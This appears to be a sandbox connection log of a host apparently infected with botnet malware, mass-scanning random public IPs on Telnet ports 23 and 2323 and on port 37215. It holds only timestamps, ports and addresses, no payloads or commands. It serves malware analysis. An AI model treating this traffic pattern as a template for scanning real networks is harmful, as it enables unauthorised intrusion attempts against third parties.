Aug 17, 2024 01:01:52.559263945 CEST	41456	23	192.168.2.13	41.251.132.244
Aug 17, 2024 01:01:52.559293985 CEST	47312	23	192.168.2.13	95.176.48.255
Aug 17, 2024 01:01:52.559305906 CEST	35294	23	192.168.2.13	198.140.203.48
Aug 17, 2024 01:01:52.559308052 CEST	60844	2323	192.168.2.13	219.20.203.148
Aug 17, 2024 01:01:52.559324026 CEST	34078	23	192.168.2.13	101.117.126.208
Aug 17, 2024 01:01:52.559324980 CEST	42562	23	192.168.2.13	48.32.162.155
Aug 17, 2024 01:01:52.559346914 CEST	40826	23	192.168.2.13	76.177.243.169
Aug 17, 2024 01:01:52.559346914 CEST	36204	23	192.168.2.13	217.84.15.62
Aug 17, 2024 01:01:52.559353113 CEST	56946	23	192.168.2.13	84.81.245.148
Aug 17, 2024 01:01:52.559375048 CEST	56776	23	192.168.2.13	135.86.232.69
Aug 17, 2024 01:01:52.559375048 CEST	41210	23	192.168.2.13	195.155.11.98
Aug 17, 2024 01:01:52.559397936 CEST	35200	2323	192.168.2.13	27.218.54.120
Aug 17, 2024 01:01:52.559418917 CEST	34250	23	192.168.2.13	35.127.143.137
Aug 17, 2024 01:01:52.559420109 CEST	59770	23	192.168.2.13	89.70.84.0
Aug 17, 2024 01:01:52.559418917 CEST	45174	23	192.168.2.13	1.173.112.28
Aug 17, 2024 01:01:52.559426069 CEST	54272	23	192.168.2.13	92.8.87.90
Aug 17, 2024 01:01:52.559439898 CEST	40832	23	192.168.2.13	53.167.7.198
Aug 17, 2024 01:01:52.559463024 CEST	42476	23	192.168.2.13	119.98.248.85
Aug 17, 2024 01:01:52.559463978 CEST	52352	23	192.168.2.13	203.83.134.25
Aug 17, 2024 01:01:52.559468985 CEST	32786	2323	192.168.2.13	146.214.7.37
Aug 17, 2024 01:01:52.559483051 CEST	57364	23	192.168.2.13	108.4.166.181
Aug 17, 2024 01:01:52.559494972 CEST	46326	23	192.168.2.13	45.252.104.150
Aug 17, 2024 01:01:52.559504986 CEST	38234	23	192.168.2.13	82.39.208.216
Aug 17, 2024 01:01:52.559513092 CEST	53656	23	192.168.2.13	157.13.139.85
Aug 17, 2024 01:01:52.559516907 CEST	49192	23	192.168.2.13	220.148.198.90
Aug 17, 2024 01:01:52.559530973 CEST	51794	23	192.168.2.13	157.146.213.142
Aug 17, 2024 01:01:52.559551001 CEST	56262	23	192.168.2.13	156.83.56.26
Aug 17, 2024 01:01:52.559551001 CEST	33780	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:52.559551001 CEST	49598	23	192.168.2.13	43.46.236.6
Aug 17, 2024 01:01:52.559566021 CEST	60428	23	192.168.2.13	23.218.46.182
Aug 17, 2024 01:01:52.559601068 CEST	50396	2323	192.168.2.13	142.212.219.206
Aug 17, 2024 01:01:52.559612036 CEST	45354	23	192.168.2.13	57.222.118.50
Aug 17, 2024 01:01:52.559612036 CEST	56182	23	192.168.2.13	186.206.102.20
Aug 17, 2024 01:01:52.559623957 CEST	52414	23	192.168.2.13	221.45.98.62
Aug 17, 2024 01:01:52.559639931 CEST	36354	23	192.168.2.13	92.26.148.44
Aug 17, 2024 01:01:52.559664965 CEST	60794	23	192.168.2.13	195.145.189.255
Aug 17, 2024 01:01:52.559667110 CEST	59570	23	192.168.2.13	92.247.201.5
Aug 17, 2024 01:01:52.559667110 CEST	41242	23	192.168.2.13	112.33.163.19
Aug 17, 2024 01:01:52.559684992 CEST	39876	23	192.168.2.13	152.79.67.55
Aug 17, 2024 01:01:52.559686899 CEST	60506	23	192.168.2.13	18.103.104.157
Aug 17, 2024 01:01:52.559700966 CEST	36216	23	192.168.2.13	181.142.212.10
Aug 17, 2024 01:01:52.559722900 CEST	36600	2323	192.168.2.13	83.87.2.47
Aug 17, 2024 01:01:52.559730053 CEST	49312	23	192.168.2.13	62.194.138.32
Aug 17, 2024 01:01:52.559740067 CEST	53006	23	192.168.2.13	192.113.124.63
Aug 17, 2024 01:01:52.559747934 CEST	45736	23	192.168.2.13	135.103.89.36
Aug 17, 2024 01:01:52.559755087 CEST	39910	23	192.168.2.13	31.65.44.75
Aug 17, 2024 01:01:52.559770107 CEST	48172	23	192.168.2.13	107.42.116.50
Aug 17, 2024 01:01:52.559792042 CEST	44616	23	192.168.2.13	194.77.25.28
Aug 17, 2024 01:01:52.559807062 CEST	60918	23	192.168.2.13	83.213.89.227
Aug 17, 2024 01:01:52.559817076 CEST	58376	23	192.168.2.13	27.241.55.196
Aug 17, 2024 01:01:52.559818029 CEST	49384	23	192.168.2.13	154.207.81.89
Aug 17, 2024 01:01:52.559844017 CEST	42246	23	192.168.2.13	176.36.28.227
Aug 17, 2024 01:01:52.559851885 CEST	55204	2323	192.168.2.13	70.233.198.252
Aug 17, 2024 01:01:52.559851885 CEST	45960	23	192.168.2.13	185.71.28.193
Aug 17, 2024 01:01:52.559869051 CEST	52760	23	192.168.2.13	197.204.147.113
Aug 17, 2024 01:01:52.559870005 CEST	36242	23	192.168.2.13	41.111.189.4
Aug 17, 2024 01:01:52.559870005 CEST	43736	23	192.168.2.13	167.195.131.128
Aug 17, 2024 01:01:52.559896946 CEST	46818	23	192.168.2.13	113.254.253.94
Aug 17, 2024 01:01:52.559900045 CEST	37598	23	192.168.2.13	161.177.27.104
Aug 17, 2024 01:01:52.559904099 CEST	45298	23	192.168.2.13	151.55.71.202
Aug 17, 2024 01:01:52.563004971 CEST	23	24655	42.96.97.198	192.168.2.13
Aug 17, 2024 01:01:52.563045979 CEST	23	24655	47.27.167.182	192.168.2.13
Aug 17, 2024 01:01:52.563055992 CEST	23	24655	93.223.83.73	192.168.2.13
Aug 17, 2024 01:01:52.563062906 CEST	24655	23	192.168.2.13	42.96.97.198
Aug 17, 2024 01:01:52.563119888 CEST	24655	23	192.168.2.13	47.27.167.182
Aug 17, 2024 01:01:52.563122034 CEST	24655	23	192.168.2.13	93.223.83.73
Aug 17, 2024 01:01:52.563149929 CEST	23	24655	141.130.201.140	192.168.2.13
Aug 17, 2024 01:01:52.563189030 CEST	24655	23	192.168.2.13	141.130.201.140
Aug 17, 2024 01:01:52.563234091 CEST	23	24655	103.213.116.7	192.168.2.13
Aug 17, 2024 01:01:52.563246012 CEST	23	24655	194.195.21.78	192.168.2.13
Aug 17, 2024 01:01:52.563255072 CEST	23	24655	105.144.177.188	192.168.2.13
Aug 17, 2024 01:01:52.563267946 CEST	2323	24655	98.99.178.200	192.168.2.13
Aug 17, 2024 01:01:52.563273907 CEST	24655	23	192.168.2.13	103.213.116.7
Aug 17, 2024 01:01:52.563273907 CEST	24655	23	192.168.2.13	194.195.21.78
Aug 17, 2024 01:01:52.563277006 CEST	23	24655	62.235.133.131	192.168.2.13
Aug 17, 2024 01:01:52.563285112 CEST	24655	23	192.168.2.13	105.144.177.188
Aug 17, 2024 01:01:52.563287020 CEST	23	24655	39.240.197.238	192.168.2.13
Aug 17, 2024 01:01:52.563296080 CEST	23	24655	20.138.141.30	192.168.2.13
Aug 17, 2024 01:01:52.563297033 CEST	24655	2323	192.168.2.13	98.99.178.200
Aug 17, 2024 01:01:52.563306093 CEST	23	24655	90.111.64.209	192.168.2.13
Aug 17, 2024 01:01:52.563314915 CEST	23	24655	161.89.83.27	192.168.2.13
Aug 17, 2024 01:01:52.563338041 CEST	24655	23	192.168.2.13	62.235.133.131
Aug 17, 2024 01:01:52.563338041 CEST	24655	23	192.168.2.13	39.240.197.238
Aug 17, 2024 01:01:52.563338995 CEST	24655	23	192.168.2.13	20.138.141.30
Aug 17, 2024 01:01:52.563338995 CEST	24655	23	192.168.2.13	90.111.64.209
Aug 17, 2024 01:01:52.563350916 CEST	24655	23	192.168.2.13	161.89.83.27
Aug 17, 2024 01:01:52.564160109 CEST	23	24655	167.240.26.66	192.168.2.13
Aug 17, 2024 01:01:52.564169884 CEST	23	24655	17.217.220.36	192.168.2.13
Aug 17, 2024 01:01:52.564178944 CEST	23	24655	17.252.190.66	192.168.2.13
Aug 17, 2024 01:01:52.564193010 CEST	23	24655	158.220.113.84	192.168.2.13
Aug 17, 2024 01:01:52.564202070 CEST	23	24655	219.126.0.107	192.168.2.13
Aug 17, 2024 01:01:52.564210892 CEST	24655	23	192.168.2.13	17.252.190.66
Aug 17, 2024 01:01:52.564212084 CEST	23	24655	69.225.209.4	192.168.2.13
Aug 17, 2024 01:01:52.564224958 CEST	24655	23	192.168.2.13	17.217.220.36
Aug 17, 2024 01:01:52.564224958 CEST	24655	23	192.168.2.13	158.220.113.84
Aug 17, 2024 01:01:52.564227104 CEST	2323	24655	36.103.251.151	192.168.2.13
Aug 17, 2024 01:01:52.564229965 CEST	24655	23	192.168.2.13	219.126.0.107
Aug 17, 2024 01:01:52.564237118 CEST	23	24655	164.155.150.174	192.168.2.13
Aug 17, 2024 01:01:52.564244986 CEST	23	24655	79.54.212.32	192.168.2.13
Aug 17, 2024 01:01:52.564263105 CEST	24655	23	192.168.2.13	69.225.209.4
Aug 17, 2024 01:01:52.564263105 CEST	24655	2323	192.168.2.13	36.103.251.151
Aug 17, 2024 01:01:52.564265966 CEST	24655	23	192.168.2.13	164.155.150.174
Aug 17, 2024 01:01:52.564266920 CEST	23	24655	77.212.170.160	192.168.2.13
Aug 17, 2024 01:01:52.564279079 CEST	23	24655	32.248.9.176	192.168.2.13
Aug 17, 2024 01:01:52.564291954 CEST	2323	24655	217.233.243.127	192.168.2.13
Aug 17, 2024 01:01:52.564300060 CEST	24655	23	192.168.2.13	77.212.170.160
Aug 17, 2024 01:01:52.564301968 CEST	2323	24655	102.8.159.38	192.168.2.13
Aug 17, 2024 01:01:52.564311981 CEST	23	24655	104.97.183.97	192.168.2.13
Aug 17, 2024 01:01:52.564311981 CEST	24655	23	192.168.2.13	32.248.9.176
Aug 17, 2024 01:01:52.564321995 CEST	23	24655	223.139.43.104	192.168.2.13
Aug 17, 2024 01:01:52.564325094 CEST	24655	2323	192.168.2.13	102.8.159.38
Aug 17, 2024 01:01:52.564326048 CEST	24655	2323	192.168.2.13	217.233.243.127
Aug 17, 2024 01:01:52.564332008 CEST	23	24655	219.241.116.124	192.168.2.13
Aug 17, 2024 01:01:52.564341068 CEST	23	24655	168.230.168.165	192.168.2.13
Aug 17, 2024 01:01:52.564346075 CEST	24655	23	192.168.2.13	104.97.183.97
Aug 17, 2024 01:01:52.564349890 CEST	23	24655	178.16.43.53	192.168.2.13
Aug 17, 2024 01:01:52.564359903 CEST	24655	23	192.168.2.13	219.241.116.124
Aug 17, 2024 01:01:52.564359903 CEST	23	24655	77.188.6.12	192.168.2.13
Aug 17, 2024 01:01:52.564363003 CEST	24655	23	192.168.2.13	223.139.43.104
Aug 17, 2024 01:01:52.564363003 CEST	24655	23	192.168.2.13	168.230.168.165
Aug 17, 2024 01:01:52.564369917 CEST	23	24655	204.0.142.195	192.168.2.13
Aug 17, 2024 01:01:52.564379930 CEST	23	24655	35.210.220.24	192.168.2.13
Aug 17, 2024 01:01:52.564382076 CEST	24655	23	192.168.2.13	178.16.43.53
Aug 17, 2024 01:01:52.564388990 CEST	23	24655	176.222.94.161	192.168.2.13
Aug 17, 2024 01:01:52.564388990 CEST	24655	23	192.168.2.13	79.54.212.32
Aug 17, 2024 01:01:52.564389944 CEST	24655	23	192.168.2.13	167.240.26.66
Aug 17, 2024 01:01:52.564399004 CEST	24655	23	192.168.2.13	77.188.6.12
Aug 17, 2024 01:01:52.564399004 CEST	24655	23	192.168.2.13	204.0.142.195
Aug 17, 2024 01:01:52.564403057 CEST	23	24655	94.173.31.119	192.168.2.13
Aug 17, 2024 01:01:52.564404011 CEST	24655	23	192.168.2.13	35.210.220.24
Aug 17, 2024 01:01:52.564413071 CEST	23	24655	147.75.23.225	192.168.2.13
Aug 17, 2024 01:01:52.564414978 CEST	24655	23	192.168.2.13	176.222.94.161
Aug 17, 2024 01:01:52.564424038 CEST	23	24655	193.35.199.224	192.168.2.13
Aug 17, 2024 01:01:52.564426899 CEST	24655	23	192.168.2.13	94.173.31.119
Aug 17, 2024 01:01:52.564434052 CEST	23	24655	209.254.212.161	192.168.2.13
Aug 17, 2024 01:01:52.564445019 CEST	23	24655	193.211.231.100	192.168.2.13
Aug 17, 2024 01:01:52.564450026 CEST	24655	23	192.168.2.13	147.75.23.225
Aug 17, 2024 01:01:52.564454079 CEST	23	24655	150.138.236.27	192.168.2.13
Aug 17, 2024 01:01:52.564457893 CEST	24655	23	192.168.2.13	193.35.199.224
Aug 17, 2024 01:01:52.564464092 CEST	23	24655	19.158.192.139	192.168.2.13
Aug 17, 2024 01:01:52.564465046 CEST	24655	23	192.168.2.13	209.254.212.161
Aug 17, 2024 01:01:52.564466000 CEST	24655	23	192.168.2.13	193.211.231.100
Aug 17, 2024 01:01:52.564474106 CEST	23	24655	223.148.20.57	192.168.2.13
Aug 17, 2024 01:01:52.564486980 CEST	24655	23	192.168.2.13	150.138.236.27
Aug 17, 2024 01:01:52.564486980 CEST	24655	23	192.168.2.13	19.158.192.139
Aug 17, 2024 01:01:52.564501047 CEST	23	24655	4.39.254.9	192.168.2.13
Aug 17, 2024 01:01:52.564512014 CEST	23	24655	199.44.118.215	192.168.2.13
Aug 17, 2024 01:01:52.564515114 CEST	24655	23	192.168.2.13	223.148.20.57
Aug 17, 2024 01:01:52.564522982 CEST	2323	24655	209.234.229.146	192.168.2.13
Aug 17, 2024 01:01:52.564532042 CEST	23	24655	94.78.211.74	192.168.2.13
Aug 17, 2024 01:01:52.564534903 CEST	24655	23	192.168.2.13	4.39.254.9
Aug 17, 2024 01:01:52.564536095 CEST	24655	23	192.168.2.13	199.44.118.215
Aug 17, 2024 01:01:52.564542055 CEST	23	24655	120.93.212.63	192.168.2.13
Aug 17, 2024 01:01:52.564551115 CEST	23	24655	130.218.128.27	192.168.2.13
Aug 17, 2024 01:01:52.564553022 CEST	24655	2323	192.168.2.13	209.234.229.146
Aug 17, 2024 01:01:52.564553022 CEST	24655	23	192.168.2.13	94.78.211.74
Aug 17, 2024 01:01:52.564559937 CEST	2323	24655	158.70.222.97	192.168.2.13
Aug 17, 2024 01:01:52.564564943 CEST	23	24655	185.215.76.190	192.168.2.13
Aug 17, 2024 01:01:52.564574003 CEST	23	24655	192.35.131.126	192.168.2.13
Aug 17, 2024 01:01:52.564578056 CEST	23	24655	47.152.108.205	192.168.2.13
Aug 17, 2024 01:01:52.564580917 CEST	23	24655	182.234.231.29	192.168.2.13
Aug 17, 2024 01:01:52.564583063 CEST	24655	23	192.168.2.13	120.93.212.63
Aug 17, 2024 01:01:52.564584970 CEST	23	24655	73.2.109.113	192.168.2.13
Aug 17, 2024 01:01:52.564590931 CEST	2323	24655	96.207.55.36	192.168.2.13
Aug 17, 2024 01:01:52.564596891 CEST	23	24655	166.216.72.39	192.168.2.13
Aug 17, 2024 01:01:52.564601898 CEST	24655	2323	192.168.2.13	158.70.222.97
Aug 17, 2024 01:01:52.564608097 CEST	23	24655	92.96.151.29	192.168.2.13
Aug 17, 2024 01:01:52.564614058 CEST	24655	23	192.168.2.13	192.35.131.126
Aug 17, 2024 01:01:52.564614058 CEST	24655	23	192.168.2.13	185.215.76.190
Aug 17, 2024 01:01:52.564614058 CEST	24655	23	192.168.2.13	47.152.108.205
Aug 17, 2024 01:01:52.564614058 CEST	24655	23	192.168.2.13	182.234.231.29
Aug 17, 2024 01:01:52.564614058 CEST	24655	23	192.168.2.13	73.2.109.113
Aug 17, 2024 01:01:52.564614058 CEST	24655	23	192.168.2.13	166.216.72.39
Aug 17, 2024 01:01:52.564620018 CEST	23	24655	122.87.109.98	192.168.2.13
Aug 17, 2024 01:01:52.564625025 CEST	24655	2323	192.168.2.13	96.207.55.36
Aug 17, 2024 01:01:52.564630985 CEST	23	24655	195.47.21.210	192.168.2.13
Aug 17, 2024 01:01:52.564641953 CEST	24655	23	192.168.2.13	92.96.151.29
Aug 17, 2024 01:01:52.564642906 CEST	23	24655	77.41.130.220	192.168.2.13
Aug 17, 2024 01:01:52.564651966 CEST	24655	23	192.168.2.13	122.87.109.98
Aug 17, 2024 01:01:52.564652920 CEST	23	24655	198.158.46.106	192.168.2.13
Aug 17, 2024 01:01:52.564651966 CEST	24655	23	192.168.2.13	195.47.21.210
Aug 17, 2024 01:01:52.564655066 CEST	24655	23	192.168.2.13	130.218.128.27
Aug 17, 2024 01:01:52.564663887 CEST	23	24655	98.138.7.10	192.168.2.13
Aug 17, 2024 01:01:52.564671993 CEST	23	24655	1.221.124.149	192.168.2.13
Aug 17, 2024 01:01:52.564680099 CEST	23	24655	85.186.28.181	192.168.2.13
Aug 17, 2024 01:01:52.564683914 CEST	24655	23	192.168.2.13	77.41.130.220
Aug 17, 2024 01:01:52.564688921 CEST	23	24655	114.51.75.92	192.168.2.13
Aug 17, 2024 01:01:52.564696074 CEST	24655	23	192.168.2.13	198.158.46.106
Aug 17, 2024 01:01:52.564696074 CEST	24655	23	192.168.2.13	1.221.124.149
Aug 17, 2024 01:01:52.564697981 CEST	24655	23	192.168.2.13	98.138.7.10
Aug 17, 2024 01:01:52.564698935 CEST	23	24655	79.147.27.210	192.168.2.13
Aug 17, 2024 01:01:52.564709902 CEST	24655	23	192.168.2.13	114.51.75.92
Aug 17, 2024 01:01:52.564714909 CEST	24655	23	192.168.2.13	85.186.28.181
Aug 17, 2024 01:01:52.564735889 CEST	24655	23	192.168.2.13	79.147.27.210
Aug 17, 2024 01:01:52.564757109 CEST	23	24655	18.6.155.146	192.168.2.13
Aug 17, 2024 01:01:52.564769983 CEST	2323	24655	92.170.162.193	192.168.2.13
Aug 17, 2024 01:01:52.564780951 CEST	23	24655	69.224.208.214	192.168.2.13
Aug 17, 2024 01:01:52.564790964 CEST	23	24655	53.30.182.56	192.168.2.13
Aug 17, 2024 01:01:52.564800024 CEST	2323	24655	42.26.195.180	192.168.2.13
Aug 17, 2024 01:01:52.564800978 CEST	24655	2323	192.168.2.13	92.170.162.193
Aug 17, 2024 01:01:52.564802885 CEST	24655	23	192.168.2.13	18.6.155.146
Aug 17, 2024 01:01:52.564809084 CEST	23	24655	48.152.3.18	192.168.2.13
Aug 17, 2024 01:01:52.564814091 CEST	24655	23	192.168.2.13	69.224.208.214
Aug 17, 2024 01:01:52.564824104 CEST	24655	23	192.168.2.13	53.30.182.56
Aug 17, 2024 01:01:52.564826012 CEST	23	24655	199.108.28.35	192.168.2.13
Aug 17, 2024 01:01:52.564835072 CEST	23	24655	174.59.222.164	192.168.2.13
Aug 17, 2024 01:01:52.564836025 CEST	24655	2323	192.168.2.13	42.26.195.180
Aug 17, 2024 01:01:52.564838886 CEST	24655	23	192.168.2.13	48.152.3.18
Aug 17, 2024 01:01:52.564853907 CEST	23	24655	75.96.31.15	192.168.2.13
Aug 17, 2024 01:01:52.564861059 CEST	24655	23	192.168.2.13	199.108.28.35
Aug 17, 2024 01:01:52.564862967 CEST	23	24655	120.38.99.120	192.168.2.13
Aug 17, 2024 01:01:52.564877033 CEST	24655	23	192.168.2.13	174.59.222.164
Aug 17, 2024 01:01:52.564879894 CEST	23	24655	144.32.19.138	192.168.2.13
Aug 17, 2024 01:01:52.564888954 CEST	24655	23	192.168.2.13	75.96.31.15
Aug 17, 2024 01:01:52.564894915 CEST	23	24655	81.253.236.172	192.168.2.13
Aug 17, 2024 01:01:52.564908981 CEST	23	24655	196.155.118.65	192.168.2.13
Aug 17, 2024 01:01:52.564918041 CEST	24655	23	192.168.2.13	144.32.19.138
Aug 17, 2024 01:01:52.564920902 CEST	23	24655	162.221.218.168	192.168.2.13
Aug 17, 2024 01:01:52.564922094 CEST	24655	23	192.168.2.13	120.38.99.120
Aug 17, 2024 01:01:52.564932108 CEST	23	24655	69.106.111.68	192.168.2.13
Aug 17, 2024 01:01:52.564933062 CEST	24655	23	192.168.2.13	196.155.118.65
Aug 17, 2024 01:01:52.564934969 CEST	24655	23	192.168.2.13	81.253.236.172
Aug 17, 2024 01:01:52.564944029 CEST	2323	24655	198.207.74.241	192.168.2.13
Aug 17, 2024 01:01:52.564951897 CEST	24655	23	192.168.2.13	162.221.218.168
Aug 17, 2024 01:01:52.564955950 CEST	23	24655	119.79.115.250	192.168.2.13
Aug 17, 2024 01:01:52.564968109 CEST	23	24655	201.68.106.66	192.168.2.13
Aug 17, 2024 01:01:52.564971924 CEST	24655	23	192.168.2.13	69.106.111.68
Aug 17, 2024 01:01:52.564976931 CEST	23	24655	154.161.170.229	192.168.2.13
Aug 17, 2024 01:01:52.564980984 CEST	24655	2323	192.168.2.13	198.207.74.241
Aug 17, 2024 01:01:52.564985037 CEST	24655	23	192.168.2.13	119.79.115.250
Aug 17, 2024 01:01:52.564987898 CEST	2323	24655	211.27.49.106	192.168.2.13
Aug 17, 2024 01:01:52.564996004 CEST	24655	23	192.168.2.13	201.68.106.66
Aug 17, 2024 01:01:52.564999104 CEST	23	24655	65.51.220.107	192.168.2.13
Aug 17, 2024 01:01:52.565009117 CEST	23	24655	74.122.252.52	192.168.2.13
Aug 17, 2024 01:01:52.565016985 CEST	24655	2323	192.168.2.13	211.27.49.106
Aug 17, 2024 01:01:52.565016985 CEST	24655	23	192.168.2.13	154.161.170.229
Aug 17, 2024 01:01:52.565018892 CEST	23	24655	217.51.172.131	192.168.2.13
Aug 17, 2024 01:01:52.565026999 CEST	23	24655	218.114.183.79	192.168.2.13
Aug 17, 2024 01:01:52.565032959 CEST	24655	23	192.168.2.13	65.51.220.107
Aug 17, 2024 01:01:52.565036058 CEST	23	24655	4.35.58.96	192.168.2.13
Aug 17, 2024 01:01:52.565046072 CEST	24655	23	192.168.2.13	74.122.252.52
Aug 17, 2024 01:01:52.565049887 CEST	23	24655	98.239.233.56	192.168.2.13
Aug 17, 2024 01:01:52.565054893 CEST	23	24655	220.62.32.195	192.168.2.13
Aug 17, 2024 01:01:52.565054893 CEST	24655	23	192.168.2.13	217.51.172.131
Aug 17, 2024 01:01:52.565058947 CEST	2323	24655	148.0.234.174	192.168.2.13
Aug 17, 2024 01:01:52.565083027 CEST	24655	23	192.168.2.13	4.35.58.96
Aug 17, 2024 01:01:52.565088034 CEST	24655	23	192.168.2.13	220.62.32.195
Aug 17, 2024 01:01:52.565092087 CEST	24655	2323	192.168.2.13	148.0.234.174
Aug 17, 2024 01:01:52.565093994 CEST	24655	23	192.168.2.13	98.239.233.56
Aug 17, 2024 01:01:52.565093994 CEST	24655	23	192.168.2.13	218.114.183.79
Aug 17, 2024 01:01:52.565181971 CEST	23	24655	18.170.170.139	192.168.2.13
Aug 17, 2024 01:01:52.565196991 CEST	23	24655	110.48.198.187	192.168.2.13
Aug 17, 2024 01:01:52.565206051 CEST	23	24655	84.237.224.122	192.168.2.13
Aug 17, 2024 01:01:52.565213919 CEST	23	24655	92.186.227.200	192.168.2.13
Aug 17, 2024 01:01:52.565222025 CEST	24655	23	192.168.2.13	110.48.198.187
Aug 17, 2024 01:01:52.565223932 CEST	23	24655	186.11.215.221	192.168.2.13
Aug 17, 2024 01:01:52.565237045 CEST	24655	23	192.168.2.13	18.170.170.139
Aug 17, 2024 01:01:52.565237045 CEST	24655	23	192.168.2.13	84.237.224.122
Aug 17, 2024 01:01:52.565238953 CEST	23	24655	173.230.115.77	192.168.2.13
Aug 17, 2024 01:01:52.565248013 CEST	23	24655	171.8.170.119	192.168.2.13
Aug 17, 2024 01:01:52.565267086 CEST	24655	23	192.168.2.13	173.230.115.77
Aug 17, 2024 01:01:52.565268040 CEST	23	24655	156.34.110.126	192.168.2.13
Aug 17, 2024 01:01:52.565273046 CEST	24655	23	192.168.2.13	92.186.227.200
Aug 17, 2024 01:01:52.565274000 CEST	24655	23	192.168.2.13	186.11.215.221
Aug 17, 2024 01:01:52.565278053 CEST	24655	23	192.168.2.13	171.8.170.119
Aug 17, 2024 01:01:52.565279007 CEST	23	24655	219.14.37.11	192.168.2.13
Aug 17, 2024 01:01:52.565294027 CEST	23	24655	205.231.56.101	192.168.2.13
Aug 17, 2024 01:01:52.565303087 CEST	23	24655	201.203.185.202	192.168.2.13
Aug 17, 2024 01:01:52.565304995 CEST	24655	23	192.168.2.13	156.34.110.126
Aug 17, 2024 01:01:52.565313101 CEST	23	24655	165.252.93.160	192.168.2.13
Aug 17, 2024 01:01:52.565325022 CEST	23	24655	180.24.28.83	192.168.2.13
Aug 17, 2024 01:01:52.565335989 CEST	24655	23	192.168.2.13	201.203.185.202
Aug 17, 2024 01:01:52.565335989 CEST	24655	23	192.168.2.13	205.231.56.101
Aug 17, 2024 01:01:52.565336943 CEST	23	24655	108.97.80.143	192.168.2.13
Aug 17, 2024 01:01:52.565344095 CEST	23	24655	85.252.162.79	192.168.2.13
Aug 17, 2024 01:01:52.565345049 CEST	24655	23	192.168.2.13	165.252.93.160
Aug 17, 2024 01:01:52.565346003 CEST	24655	23	192.168.2.13	180.24.28.83
Aug 17, 2024 01:01:52.565350056 CEST	24655	23	192.168.2.13	219.14.37.11
Aug 17, 2024 01:01:52.565355062 CEST	23	24655	141.194.245.206	192.168.2.13
Aug 17, 2024 01:01:52.565357924 CEST	24655	23	192.168.2.13	108.97.80.143
Aug 17, 2024 01:01:52.565366983 CEST	23	24655	102.69.23.127	192.168.2.13
Aug 17, 2024 01:01:52.565376997 CEST	24655	23	192.168.2.13	85.252.162.79
Aug 17, 2024 01:01:52.565378904 CEST	23	24655	36.190.98.199	192.168.2.13
Aug 17, 2024 01:01:52.565391064 CEST	23	24655	57.249.85.37	192.168.2.13
Aug 17, 2024 01:01:52.565392971 CEST	24655	23	192.168.2.13	102.69.23.127
Aug 17, 2024 01:01:52.565404892 CEST	23	24655	31.231.17.5	192.168.2.13
Aug 17, 2024 01:01:52.565413952 CEST	24655	23	192.168.2.13	36.190.98.199
Aug 17, 2024 01:01:52.565417051 CEST	23	24655	77.244.219.244	192.168.2.13
Aug 17, 2024 01:01:52.565417051 CEST	24655	23	192.168.2.13	141.194.245.206
Aug 17, 2024 01:01:52.565417051 CEST	24655	23	192.168.2.13	57.249.85.37
Aug 17, 2024 01:01:52.565428972 CEST	23	58346	212.114.44.40	192.168.2.13
Aug 17, 2024 01:01:52.565434933 CEST	24655	23	192.168.2.13	31.231.17.5
Aug 17, 2024 01:01:52.565439939 CEST	23	24655	95.166.120.65	192.168.2.13
Aug 17, 2024 01:01:52.565450907 CEST	23	24655	18.64.106.120	192.168.2.13
Aug 17, 2024 01:01:52.565452099 CEST	24655	23	192.168.2.13	77.244.219.244
Aug 17, 2024 01:01:52.565460920 CEST	23	24655	14.246.44.173	192.168.2.13
Aug 17, 2024 01:01:52.565474033 CEST	23	24655	102.55.216.201	192.168.2.13
Aug 17, 2024 01:01:52.565476894 CEST	58346	23	192.168.2.13	212.114.44.40
Aug 17, 2024 01:01:52.565478086 CEST	24655	23	192.168.2.13	95.166.120.65
Aug 17, 2024 01:01:52.565484047 CEST	24655	23	192.168.2.13	18.64.106.120
Aug 17, 2024 01:01:52.565485001 CEST	23	24655	24.30.228.64	192.168.2.13
Aug 17, 2024 01:01:52.565490007 CEST	24655	23	192.168.2.13	14.246.44.173
Aug 17, 2024 01:01:52.565498114 CEST	23	24655	108.187.72.222	192.168.2.13
Aug 17, 2024 01:01:52.565515041 CEST	24911	37215	192.168.2.13	156.11.0.154
Aug 17, 2024 01:01:52.565516949 CEST	24655	23	192.168.2.13	24.30.228.64
Aug 17, 2024 01:01:52.565522909 CEST	24911	37215	192.168.2.13	156.42.241.51
Aug 17, 2024 01:01:52.565532923 CEST	24655	23	192.168.2.13	108.187.72.222
Aug 17, 2024 01:01:52.565534115 CEST	24655	23	192.168.2.13	102.55.216.201
Aug 17, 2024 01:01:52.565540075 CEST	24911	37215	192.168.2.13	197.77.108.93
Aug 17, 2024 01:01:52.565548897 CEST	24911	37215	192.168.2.13	156.124.114.28
Aug 17, 2024 01:01:52.565551043 CEST	24911	37215	192.168.2.13	197.131.247.58
Aug 17, 2024 01:01:52.565551043 CEST	24911	37215	192.168.2.13	197.233.181.104
Aug 17, 2024 01:01:52.565563917 CEST	24911	37215	192.168.2.13	41.104.228.157
Aug 17, 2024 01:01:52.565570116 CEST	24911	37215	192.168.2.13	197.109.141.223
Aug 17, 2024 01:01:52.565587044 CEST	24911	37215	192.168.2.13	197.81.9.101
Aug 17, 2024 01:01:52.565587044 CEST	23	24655	97.132.218.43	192.168.2.13
Aug 17, 2024 01:01:52.565587997 CEST	24911	37215	192.168.2.13	156.186.214.34
Aug 17, 2024 01:01:52.565587997 CEST	24911	37215	192.168.2.13	41.237.68.28
Aug 17, 2024 01:01:52.565597057 CEST	24911	37215	192.168.2.13	197.46.139.125
Aug 17, 2024 01:01:52.565603018 CEST	24911	37215	192.168.2.13	41.104.87.75
Aug 17, 2024 01:01:52.565603018 CEST	24911	37215	192.168.2.13	41.5.140.208
Aug 17, 2024 01:01:52.565606117 CEST	23	24655	201.14.187.97	192.168.2.13
Aug 17, 2024 01:01:52.565612078 CEST	24911	37215	192.168.2.13	41.218.157.167
Aug 17, 2024 01:01:52.565614939 CEST	24911	37215	192.168.2.13	156.119.0.235
Aug 17, 2024 01:01:52.565615892 CEST	23	24655	54.119.238.191	192.168.2.13
Aug 17, 2024 01:01:52.565623999 CEST	24911	37215	192.168.2.13	41.38.176.133
Aug 17, 2024 01:01:52.565625906 CEST	23	24655	152.40.34.73	192.168.2.13
Aug 17, 2024 01:01:52.565629005 CEST	24655	23	192.168.2.13	97.132.218.43
Aug 17, 2024 01:01:52.565629005 CEST	24911	37215	192.168.2.13	156.234.175.39
Aug 17, 2024 01:01:52.565629959 CEST	2323	24655	62.110.86.120	192.168.2.13
Aug 17, 2024 01:01:52.565630913 CEST	24655	23	192.168.2.13	201.14.187.97
Aug 17, 2024 01:01:52.565632105 CEST	24911	37215	192.168.2.13	41.141.47.84
